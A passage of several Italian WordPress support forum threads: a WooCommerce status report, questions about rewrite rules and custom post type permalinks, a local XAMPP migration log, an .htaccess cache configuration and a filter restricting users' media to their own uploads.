          at di (react-dom.min.js?ver=17.0.1:168:305)
          at Nj (react-dom.min.js?ver=17.0.1:168:236)
          at sc (react-dom.min.js?ver=17.0.1:168:96)
          at gf (react-dom.min.js?ver=17.0.1:162:109)
          at Pa (react-dom.min.js?ver=17.0.1:157:184)
          at yd (react-dom.min.js?ver=17.0.1:188:476)

      This below the system status report of WC:

      
      ### WordPress Environment ###
      
      WordPress address (URL): https://adamahstore.com
      Site address (URL): https://adamahstore.com
      WC Version: 6.3.1
      REST API Version: ✔ 6.3.1
      WC Blocks Version: ✔ 6.9.0
      Action Scheduler Version: ✔ 3.4.0
      WC Admin Version: ✔ 3.2.1
      Log Directory Writable: ✔
      WP Version: 5.9.3
      WP Multisite: –
      WP Memory Limit: 1 GB
      WP Debug Mode: –
      WP Cron: ✔
      Language: it_IT
      External object cache: –
      
      ### Server Environment ###
      
      Server Info: Apache
      PHP Version: 8.0.17
      PHP Post Max Size: 150 MB
      PHP Time Limit: 180
      PHP Max Input Vars: 12000
      cURL Version: 7.81.0
      OpenSSL/1.1.1n
      
      SUHOSIN Installed: –
      MySQL Version: 8.0.28
      Max Upload Size: 150 MB
      Default Timezone is UTC: ✔
      fsockopen/cURL: ✔
      SoapClient: ✔
      DOMDocument: ✔
      GZip: ✔
      Multibyte String: ✔
      Remote Post: ✔
      Remote Get: ✔
      
      ### Database ###
      
      WC Database Version: 6.3.1
      WC Database Prefix: wp_
      Dimensione totale database: 20.98MB
      Dimensione dati database: 17.16MB
      Dimensione indice database: 3.82MB
      wp_woocommerce_sessions: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_woocommerce_api_keys: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_woocommerce_attribute_taxonomies: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_woocommerce_downloadable_product_permissions: Dati: 0.02MB + indice: 0.06MB + motore InnoDB
      wp_woocommerce_order_items: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_woocommerce_order_itemmeta: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_woocommerce_tax_rates: Dati: 0.02MB + indice: 0.06MB + motore InnoDB
      wp_woocommerce_tax_rate_locations: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_woocommerce_shipping_zones: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_woocommerce_shipping_zone_locations: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_woocommerce_shipping_zone_methods: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_woocommerce_payment_tokens: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_woocommerce_payment_tokenmeta: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_woocommerce_log: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_actionscheduler_actions: Dati: 0.16MB + indice: 0.16MB + motore InnoDB
      wp_actionscheduler_claims: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_actionscheduler_groups: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_actionscheduler_logs: Dati: 0.09MB + indice: 0.09MB + motore InnoDB
      wp_commentmeta: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_comments: Dati: 0.02MB + indice: 0.09MB + motore InnoDB
      wp_e_events: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_e_submissions: Dati: 0.02MB + indice: 0.23MB + motore InnoDB
      wp_e_submissions_actions_log: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_e_submissions_values: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_gla_budget_recommendations: Dati: 0.22MB + indice: 0.14MB + motore InnoDB
      wp_gla_merchant_issues: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_gla_shipping_rates: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_gla_shipping_times: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_links: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_custom_fields: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_dynamic_segment_filters: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_feature_flags: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_forms: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_mailpoet_log: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_mailpoet_mapping_to_external_entities: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_newsletter_links: Dati: 0.02MB + indice: 0.05MB + motore InnoDB
      wp_mailpoet_newsletter_option: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_newsletter_option_fields: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_newsletter_posts: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_newsletter_segment: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_newsletter_templates: Dati: 2.52MB + indice: 0.00MB + motore InnoDB
      wp_mailpoet_newsletters: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_mailpoet_scheduled_task_subscribers: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_scheduled_tasks: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_mailpoet_segments: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_mailpoet_sending_queues: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_mailpoet_settings: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_statistics_bounces: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_mailpoet_statistics_clicks: Dati: 0.02MB + indice: 0.05MB + motore InnoDB
      wp_mailpoet_statistics_forms: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_statistics_newsletters: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_mailpoet_statistics_opens: Dati: 0.02MB + indice: 0.08MB + motore InnoDB
      wp_mailpoet_statistics_unsubscribes: Dati: 0.02MB + indice: 0.05MB + motore InnoDB
      wp_mailpoet_statistics_woocommerce_purchases: Dati: 0.02MB + indice: 0.06MB + motore InnoDB
      wp_mailpoet_stats_notifications: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_mailpoet_subscriber_custom_field: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_subscriber_ips: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_subscriber_segment: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_mailpoet_subscribers: Dati: 0.02MB + indice: 0.13MB + motore InnoDB
      wp_mailpoet_user_agents: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_mailpoet_user_flags: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_nextend2_image_storage: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_nextend2_section_storage: Dati: 0.02MB + indice: 0.06MB + motore InnoDB
      wp_nextend2_smartslider3_generators: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_nextend2_smartslider3_sliders: Dati: 0.05MB + indice: 0.03MB + motore InnoDB
      wp_nextend2_smartslider3_sliders_xref: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_nextend2_smartslider3_slides: Dati: 0.05MB + indice: 0.11MB + motore InnoDB
      wp_options: Dati: 3.09MB + indice: 0.08MB + motore InnoDB
      wp_postmeta: Dati: 5.45MB + indice: 0.42MB + motore InnoDB
      wp_posts: Dati: 3.48MB + indice: 0.22MB + motore InnoDB
      wp_term_relationships: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_term_taxonomy: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_termmeta: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_terms: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_usermeta: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_users: Dati: 0.02MB + indice: 0.05MB + motore InnoDB
      wp_wc_admin_note_actions: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_wc_admin_notes: Dati: 0.05MB + indice: 0.00MB + motore InnoDB
      wp_wc_category_lookup: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wc_customer_lookup: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_wc_download_log: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_wc_order_coupon_lookup: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_wc_order_product_lookup: Dati: 0.02MB + indice: 0.06MB + motore InnoDB
      wp_wc_order_stats: Dati: 0.02MB + indice: 0.05MB + motore InnoDB
      wp_wc_order_tax_lookup: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_wc_product_attributes_lookup: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_wc_product_meta_lookup: Dati: 0.02MB + indice: 0.09MB + motore InnoDB
      wp_wc_rate_limits: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_wc_reserved_stock: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wc_tax_rate_classes: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_wc_webhooks: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_woof_query_cache: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_wpf_filters: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wpf_meta_keys: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_wpf_meta_values: Dati: 0.02MB + indice: 0.03MB + motore InnoDB
      wp_wpf_meta_values_bk: Dati: 0.02MB + indice: 0.02MB + motore InnoDB
      wp_wpgmza: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wpgmza_circles: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wpgmza_maps: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wpgmza_polygon: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wpgmza_polylines: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wpgmza_rectangles: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      wp_wpml_mails: Dati: 0.14MB + indice: 0.00MB + motore InnoDB
      wp_wpmm_subscribers: Dati: 0.02MB + indice: 0.00MB + motore InnoDB
      
      ### Post Type Counts ###
      
      attachment: 138
      custom_css: 1
      customize_changeset: 18
      elementor_icons: 2
      elementor_library: 47
      mailpoet_page: 1
      nav_menu_item: 40
      page: 18
      post: 8
      product: 43
      product_variation: 17
      revision: 604
      shop_order: 8
      wp_global_styles: 2
      yith_wcan_preset: 1
      
      ### Security ###
      
      Secure connection (HTTPS): ✔
      Hide errors from visitors: ✔
      
      ### Active Plugins (4) ###
      
      Elementor Pro: by Elementor.com – 3.6.4
      Elementor: by Elementor.com – 3.6.2
      WooCommerce Stripe Gateway: by WooCommerce – 6.3.0
      WooCommerce: by Automattic – 6.3.1
      
      ### Inactive Plugins (14) ###
      
      Akismet Anti-Spam: by Automattic – 4.2.2
      Dynamic Visibility for Elementor: by Dynamic.ooo – 4.1.2
      Google Language Translator: by Translate AI Multilingual Solutions – 6.0.14
      Google Listings and Ads: by WooCommerce – 1.11.1
      Ibtana - WordPress Website Builder: by VowelWeb – 1.1.5
      Insert Headers and Footers: by WPBeginner – 1.6.0
      Jetpack: by Automattic – 10.7
      MailPoet 3 (New): by MailPoet – 3.84.0
      Post Slider and Carousel with Widget: by InfornWeb – 2.1.2
      Variation Swatches for WooCommerce: by Emran Ahmed – 1.1.19
      WOOF - WooCommerce Products Filter: by realmag777 – 1.2.6.4
      WooLentor - WooCommerce Elementor Addons + Builder: by HasThemes – 2.2.4
      WP Maintenance Mode & Coming Soon: by Themeisle – 2.4.4
      WP Responsive Recent Post Slider/Carousel: by WP OnlineSupport
      Essential Plugin – 3.0.8
      
      ### Must Use Plugins (1) ###
      
      Elementor Safe Mode: by Elementor.com – 1.0.0
      
      ### Settings ###
      
      API Enabled: –
      Force SSL: –
      Currency: EUR (€)
      Currency Position: right_space
      Thousand Separator: .
      Decimal Separator: ,
      Number of Decimals: 2
      Taxonomies: Product Types: external (external)
      grouped (grouped)
      simple (simple)
      variable (variable)
      
      Taxonomies: Product Visibility: exclude-from-catalog (exclude-from-catalog)
      exclude-from-search (exclude-from-search)
      featured (featured)
      outofstock (outofstock)
      rated-1 (rated-1)
      rated-2 (rated-2)
      rated-3 (rated-3)
      rated-4 (rated-4)
      rated-5 (rated-5)
      
      Connected to WooCommerce.com: –
      
      ### WC Pages ###
      
      Shop base: #6 - /negozio/
      Carrello: #7 - /carrello/
      Pagamento: #8 - /pagamento/
      Il mio account: #9 - /mio-account/
      Termini e condizioni: #10 - /rimborso_reso/
      
      ### Theme ###
      
      Name: Twenty Twenty
      Version: 1.9
      Author URL: https://it.wordpress.org/
      Child Theme: ❌ – Se stai modificando WooCommerce o un tema genitore che non hai costruito personalmente
      ti consigliamo di utilizzare un tema child. Vedi: Come creare un tema child
      
      WooCommerce Support: ✔
      
      ### Templates ###
      
      Overrides: –
      
      ### Action Scheduler ###
      
      Completato: 424
      Oldest: 2022-03-12 10:15:32 +0100
      Newest: 2022-04-11 19:41:02 +0200
      
      In attesa: 2
      Oldest: 2022-04-11 20:01:15 +0200
      Newest: 2022-04-12 17:10:04 +0200
      
      ### Status report information ###
      
      Generated at: 2022-04-11 20:00:40 +02:00
      

      Can anyone support me?

      Many thanks!

      La pagina su cui ho bisogno di aiuto: [devi essere connesso per vedere il link]

    Chi ha creato la discussione Alberto

    (@caseuniche)

    Caro Andrea,
    grazie per la tua dettagliata risposta.

    Ma il mistero … si infittisce

    + la mia rewrite rule è effettivamente scritta direttamente nel file functions.php
    del tema child

    	add_filter('query_vars', function($qvars){
    		$qvars[] = 'status';
    		$qvars[] = 'type';
    		return $qvars;
    	});
    	add_rewrite_rule( 'vendita/([^/]*)', 'index.php?pagename=search-property&status=for-sale&type=$matches[1]', 'top' ) ;
    	add_rewrite_rule( 'vendiamo/(.*)', 'index.php?pagename=search-property&status=for-sale&type=$matches[1]', 'top' ) ;
    

    e produce la corretta regola quando si fa flush manualmente seguendo il percorso
    admin-menu > Settings > Permalink > Save Changes
    Infatti la ritrovo nell’Array delle regole:

     [attivita/(.*)] => index.php?homeland_properties=$matches[1]
    [immobile/(.*)] => index.php?homeland_properties=$matches[1] 
    [categoria/(.*)] => index.php?homeland_property_type=$matches[1] 
    [in-affitto] => index.php?homeland_property_status=for-rent 
    [in-vendita] => index.php?homeland_property_status=for-sale 
    [luogo/(.*)] => index.php?homeland_property_location=$matches[1] 
    [attributi/(.*)] => index.php?homeland_property_amenities=$matches[1
    [vendita/([^/]*)] => index.php?pagename=search-property&status=for-sale&type=$matches[1] 
    [vendiamo/(.*)] => index.php?pagename=search-property&status=for-sale&type=$matches[1] 
    ...
    

    ma … ora il mistero si infittisce
    se scrivo le rewrite rule con ‘init’ , così:

    
    add_action( 'init' , function (){
    		add_filter('query_vars', function($qvars){
    			$qvars[] = 'status';
    			$qvars[] = 'type';
    			return $qvars;
    		});
    		add_rewrite_rule( 'vendita/([^/]*)', 'index.php?pagename=search-property&status=for-sale&type=$matches[1]', 'top' ) ;
    		add_rewrite_rule( 'vendiamo/(.*)', 'index.php?pagename=search-property&status=for-sale&type=$matches[1]', 'top' ) ;
    	}) ;
    

    wordpress non le registra

    (ovviamente faccio admin-menu > Settings > Permalink > Save Changes)

    + Comunque come puoi vedere ho attivato anche la regola con il regex
    suggerito da te (cfr sopra: l’ho aggiunta)
    Ma purtroppo, anche con la regola attiva, non ottengo i risultati sperati
    Ovvero se usi il link originale
    https://custaging.caseuniche.it/index.php?pagename=search-property&status=for-sale&type=residenziale
    funziona, ma …
    se usi
    https://custaging.caseuniche.it/vendita/residenziale
    viene riscritto in quello originale ignorando due parametri, ovvero diventa:
    https://custaging.caseuniche.it/index.php?pagename=search-property

    Come vedi non ci sono passi avanti 🙁

    + per conludere questo lungo post: terrò in considerazione il suggerimenti di usare l’url https://custaging.caseuniche.it/cerca/vendita/residenziale

    Comunque non mi perdo d’animo: ci penserò su 🙂

    Grazie per il tempo che mi hai dedicato e per quello che mi dedicherai.
    Se qualcuno ha qualche suggerimento … è il benvenuto 🙂

    Alberto

    • Sto cercando, a scopo didattico, di sviluppare un custom post type e una custom taxonomy con permalink del tipo “…/nome_taxonomy/taxonomy/articolo”.
      Si tratta di una sezione di un sito di recensioni, dove ho una prima pagina che mi mostra una specie di homepage (che non deve essere la homepage del sito), selezionando la categoria (taxonomy) entro nella categoria dei prodotti e selezionando l’articolo entro nella pagina dell’articolo stesso (CPT).
      In parole povere, vorrei avere la seguente struttura:

      • “…com/attrezzatura/”: in questa pagina voglio avere una archive page con la lista di tutte le tassonomie (disponibili tramite menu in alto) e i contenuti rilevanti di tali tassonomie
      • “.com/attrezzatura/cuffie/”: in questa pagina voglio la stessa identica pagina di prima, però filtrata con la taxonomy cuffie (o camere, o tastiere ecc), a cui si accede tramite il menu che rimane sempre e comunque in alto (come quello di apple, per intenderci)
      • “.com/attrezzatura/cuffie/recensione-prodottoX/: in questa pagina voglio avere il prodotto, con la sua recensione e i vari link.

      Per fare questo, ho creato un CPT chiamato recensioni e una tassonomia chiamata attrezzatura, per poi registrare il tutto in un plugin:

      Codice CPT:

      function cpt_recensioni(){
      
        $labels = array(
          'name' => __('Recensioni', 'fv-cpt'),
          'singular_name' => __('Recensione', 'fv-cpt'),
          'add_new' => __('Aggiungi Recensione', 'fv-cpt'),
          'all_items' => __('Tutte le Recensioni', 'fv-cpt'),
          'add_new_item' => __('Aggiungi Recensione', 'fv-cpt'),
          'edit_item' => __('Modifica Recensione', 'fv-cpt'),
          'new_item' => __('Nuova Recensione', 'fv-cpt'),
          'view_item' => __('Vedi Recensione', 'fv-cpt'),
          'search_item' => __('Cerca Recensione', 'fv-cpt'),
          'not_found' => __('Recensione non trovata', 'fv-cpt'),
          'not_found_in_trash' => __('Nessuna Recensione trovata nel cestino', 'fv-cpt'),
        );
        $args = array(
          'labels' => $labels,
          'public' => true,
          'has_archive' => true,
          'publicly_queryable' => true,
          'query_var' => true,
          'rewrite' => true,
          'capability_type' => 'post',
          'hierarchical' => false,
          'taxonomies' => array('attrezzatura'),
          'rewrite' => array(
            'slug' => 'attrezzatura/%taxonomy-name%',
            'with-front' => true,
          ),
          'support' => array(
            'title',
            'editor',
            'thumbnail',
            'revisions',
            'custom-fields',
          ),
          'menu_position' => 4,
          'menu_icon' => 'dashicons-star-filled',
          'exclude_from_search' => false,
        );
      
        register_post_type('recensioni', $args);
      }
      add_action('init', 'cpt_recensioni');

      Codice tassonomia:

      function tax_attrezzatura(){
      
          $labels = array(
            'name' => __('Categorie prodotti', 'fv-cpt'),
            'singular_name' => __('Categoria prodotto', 'fv-cpt'),
            'add_new_item' => __('Aggiungi Categoria prodotto', 'fv-cpt'),
            'edit_item' => __('Modifica Categoria prodotto', 'fv-cpt'),
            'new_item_name' => __('Nuova Categoria prodotto', 'fv-cpt'),
            'all_items' => __('Tutte le Categorie prodotto', 'fv-cpt'),
            'search_items' => __('Cerca Categoria Prodotto', 'fv-cpt'),
            'update_item' => __('Aggiorna Categoria prodotto', 'fv-cpt'),
          );
      
          $args = array(
            'labels' => $labels,
            'hierarchical' => true,
            'query_var' => true,
            'show_ui' => true,
            'show_admin_column' => true,
            'rewrite' => array(
              'slug' => 'attrezzatura',
              'hierarchical' => true,
              'with-front' => true,
            ),
          );
      
          register_taxonomy('attrezzatura',array('recensioni'), $args);
      }
      add_action('init', 'tax_attrezzatura');

      Dopo numerose guide online, ho capito che per ottenere ciò che voglio dovrei avere, nel rewrite della tassonomia, lo slug “attrezzatura” e nello slug del CPT “attrezzatura/%taxonomy-name%”. Per modificare il %taxonomy-name% mi sono servito di questa funzione:

      function filter_post_type_link($link, $post)
      {
          if ($post->post_type != 'recensioni')
              return $link;
      
          if ($cats = get_the_terms($post->ID, 'attrezzatura'))
          {
              $link = str_replace('%taxonomy-name%', $cats[0]->slug, $link);
            }
          return $link;
      }
      add_filter('post_type_link', 'filter_post_type_link', 10, 2);

      Ora, il permalink mi viene generato correttamente, ovvero per la recensione del prodotto X mi esce “/attrezzatura/cuffie/recensione-prodottoX/”, ma mi da un 404 nonostante io abbia creato il single-recensioni.php.
      il link “/attrezzatura/cuffie” mi restituisce correttamente il file “taxonomy-attrezzatura.php”, mentre il link “/attrezzatura/” mi restituisce un 404, nonostante io abbia creato una pagina con tale slug nelle pagine classiche standard di wordpress.

      Una cosa strana, inoltre, è che per un solo articolo presente nel CPT mi viene generato correttamente il link, mentre per gli altri wordpress mi rimanda tramite redirect 301 alla homepage del sito; non riesco a capire da cosa dipende.

      Qualcuno potrebbe aiutarmi a comprendere come generare correttamente un permalink del genere? Ho provato a cercare e ho riprovato tante volte, solo che non saprei con chi confrontarmi per capire il mio errore.
      Avrei anche bisogno di capire quale file devo scrivere nella directory del tema per stilizzare ognuna di queste pagine, visto che single-recensioni.php non funziona e nemmeno creare una pagina con url “/attrezzatura” funziona.

      Ho visto che in molti dicono di usare il “rewrite rules array” e comunicare a wordpress come effettivamente interpretare i link. Ho provato con il seguente codice ma ogni volta che cerco di visitare un qualsiasi link citato sopra, ottengo lo stesso redirect 301 indesiderato alla homepage del sito (come quello di cui ho parlato per gli articoli).

      add_filter('rewrite_rules_array', 'fv_rewrite_rules');
      function fv_rewrite_rules($rules) {
          $newRules  = array();
          $newRules['attrezzatura/(.+)/?$'] = 'index.php?custom_post_type_name=$matches[1]';
          $newRules['attrezzatura/?$']      = 'index.php?taxonomy_name=$matches[0]';
      
          return array_merge($newRules, $rules);
      }

      Qualcuno in grado di spiegarmi come funziona? Non lo faccio di lavoro ma mi sono appassionato allo sviluppo da autodidatta, solo che per la prima volta il codex e i tutorial non mi sono serviti a comprendere dove sbaglio.

      • Questo topic è stato modificato 4 anni, 6 mesi fa da ilfedevisio.
    Chi ha creato la discussione orsocapo

    (@orsocapo)

    Scusami per l’incompletezza della mia risposta.
    La migrazione l’ho fatta tramite FTP scaricando tutte le cartelle da remoto e poi inserendole nella cartella htdocs.
    Ho modificato il file wp_config
    Poi ho scaricato il DB e ricaricato sul DB di XAMMP
    I messaggi del log sono questi:
    [Sun Nov 22 12:32:20.648819 2020] [ssl:warn] [pid 14788:tid 648] AH01909: http://www.example.com:443:0 server certificate does NOT include an ID which matches the server name
    [Sun Nov 22 12:32:20.710567 2020] [core:warn] [pid 14788:tid 648] AH00098: pid file C:/xampp/apache/logs/httpd.pid overwritten — Unclean shutdown of previous Apache run?
    [Sun Nov 22 12:32:20.717565 2020] [ssl:warn] [pid 14788:tid 648] AH01909: http://www.example.com:443:0 server certificate does NOT include an ID which matches the server name
    [Sun Nov 22 12:32:20.823139 2020] [mpm_winnt:notice] [pid 14788:tid 648] AH00455: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.4.12 configured — resuming normal operations
    [Sun Nov 22 12:32:20.823139 2020] [mpm_winnt:notice] [pid 14788:tid 648] AH00456: Apache Lounge VC15 Server built: Oct 3 2020 12:58:33
    [Sun Nov 22 12:32:20.823139 2020] [core:notice] [pid 14788:tid 648] AH00094: Command line: ‘c:\\xampp\\apache\\bin\\httpd.exe -d C:/xampp/apache’
    [Sun Nov 22 12:32:20.826138 2020] [mpm_winnt:notice] [pid 14788:tid 648] AH00418: Parent: Created child process 12304
    [Sun Nov 22 12:32:21.235170 2020] [ssl:warn] [pid 12304:tid 660] AH01909: http://www.example.com:443:0 server certificate does NOT include an ID which matches the server name
    [Sun Nov 22 12:32:21.294174 2020] [ssl:warn] [pid 12304:tid 660] AH01909: http://www.example.com:443:0 server certificate does NOT include an ID which matches the server name
    [Sun Nov 22 12:32:21.337178 2020] [mpm_winnt:notice] [pid 12304:tid 660] AH00354: Child: Starting 150 worker threads.
    [Sun Nov 22 12:37:29.884824 2020] [php7:notice] [pid 12304:tid 1900] [client ::1:62164] WordPress errore sul database Table doesn’t exist per la query \r\n\t\t\tSELECT COUNT(donation_id)\r\n\t\t\tFROM wpwq_give_donationmeta\r\n\t\t\tWHERE meta_key=’_give_payment_gateway’\r\n\t\t\tAND meta_value LIKE ‘%stripe%’ fatta da activate_plugins, activate_plugin, do_action(‘activate_give/give.php’), WP_Hook->do_action, WP_Hook->apply_filters, Give->install, give_install, give_run_install, do_action(‘give_upgrades’), WP_Hook->do_action, WP_Hook->apply_filters, give_do_automatic_upgrades, give_v270_upgrades, referer: http://localhost//wp-admin/plugins.php?plugin_status=all&paged=1&s

    • Questa risposta è stata modificata 5 anni, 4 mesi fa da orsocapo.
    Chi ha creato la discussione paestum1997

    (@paestum1997)

    @webepc l’upload del tema è avvenuto con successo (puoi vedere se la versione è aggiornata?)
    Ho rinominato plugins anche ma lo steso quando metto miosito/wp-admin mi riporta in wp-login.php

    Questo è il mio htaccess
    # BEGIN W3TC Browser Cache
    <IfModule mod_deflate.c>
    AddOutputFilterByType DEFLATE text/css text/x-component application/x-javascript application/javascript text/javascript text/x-js text/html text/richtext text/plain text/xsd text/xsl text/xml image/bmp application/java application/msword application/vnd.ms-fontobject application/x-msdownload image/x-icon application/json application/vnd.ms-access video/webm application/vnd.ms-project application/x-font-otf application/vnd.ms-opentype application/vnd.oasis.opendocument.database application/vnd.oasis.opendocument.chart application/vnd.oasis.opendocument.formula application/vnd.oasis.opendocument.graphics application/vnd.oasis.opendocument.presentation application/vnd.oasis.opendocument.spreadsheet application/vnd.oasis.opendocument.text audio/ogg application/pdf application/vnd.ms-powerpoint image/svg+xml application/x-shockwave-flash image/tiff application/x-font-ttf application/vnd.ms-opentype audio/wav application/vnd.ms-write application/font-woff application/font-woff2 application/vnd.ms-excel
    <IfModule mod_mime.c>
    # DEFLATE by extension
    AddOutputFilter DEFLATE js css htm html xml
    </IfModule>
    </IfModule>
    <FilesMatch “\.(bmp|class|doc|docx|eot|exe|ico|json|mdb|webm|mpp|otf|_otf|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|pot|pps|ppt|pptx|svg|svgz|swf|tif|tiff|ttf|ttc|_ttf|wav|wri|woff|woff2|xla|xls|xlsx|xlt|xlw|BMP|CLASS|DOC|DOCX|EOT|EXE|ICO|JSON|MDB|WEBM|MPP|OTF|_OTF|ODB|ODC|ODF|ODG|ODP|ODS|ODT|OGG|PDF|POT|PPS|PPT|PPTX|SVG|SVGZ|SWF|TIF|TIFF|TTF|TTC|_TTF|WAV|WRI|WOFF|WOFF2|XLA|XLS|XLSX|XLT|XLW)$”>
    <IfModule mod_headers.c>
    Header unset Last-Modified
    </IfModule>
    </FilesMatch>
    <IfModule mod_headers.c>
    Header set Referrer-Policy “”
    </IfModule>
    # END W3TC Browser Cache
    # BEGIN W3TC Page Cache core
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteCond %{HTTP:Accept-Encoding} gzip
    RewriteRule .* – [E=W3TC_ENC:_gzip]
    RewriteCond %{HTTP_COOKIE} w3tc_preview [NC]
    RewriteRule .* – [E=W3TC_PREVIEW:_preview]
    RewriteCond %{REQUEST_METHOD} !=POST
    RewriteCond %{QUERY_STRING} =””
    RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|w3tc_logged_out|wordpress_logged_in|wptouch_switch_toggle) [NC]
    RewriteCond %{REQUEST_URI} \/$
    RewriteCond “%{DOCUMENT_ROOT}/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}” -f
    RewriteRule .* “/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}” [L]
    </IfModule>
    # END W3TC Page Cache core
    # BEGIN WordPress
    # Le direttive (linee) tra BEGIN WordPress e END WordPress sono
    # generate dinamicamente, e dovrebbero essere modificate solo tramite i filtri di WordPress.
    # Ogni modifica alle direttive tra questi marcatori verrà sovrascritta.
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ – [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>

    # END WordPress

    • Salve, sono nuovo del forum… ma vedo che c’e’ ne’ di gente in gamba…..
      Ho un problema che non mi sta facendo dormire.

      Mi sono affacciato da qualche mese su WordPress….

      Ho creato un sito….avrei la necessita di caricare una cartella unica di file solo Pdf di Cv_Vitae.

      Il quesito e’ questo:
      Ho creato una serie di utenti che hanno gli stessi privilegi…. opportunamente blindati con Ultimate Member….

      Con un piccolo script

      //add_filter(‘pre_get_posts’, function ($query) {
      // global $pagenow, $user_ID;

      // if( !current_user_can(‘administrator’) && $query->is_admin && ‘upload.php’ //!= $pagenow ){
      // $query->set(‘author’, $user_ID);
      // }
      // return $query;
      //});

      sono riuscito…. quando un utente X crea e poi modifica e/o vuole cancellare un articolo di filtrare solo quelli di proprietà e non vedere quelli di altri utenti…
      Ma quando vado per inserire dalla galleria un file lui mi elenca quelli precedentemente inseriti dallo stesso autore.
      Ma siccome si tratta di CV_Vitae non vorrei creare file identici e duplicati da ogni utente….
      Mi spiego meglio

      Utente X inserisce nella galleria CV_1.pdf CV_2.pdf CV_3.pdf
      Utente Y inserisce nella galleria CV_2.pdf CV_1.pdf CV_5.pdf CV_7.pdf

      tutti rigorosamente solo pdf

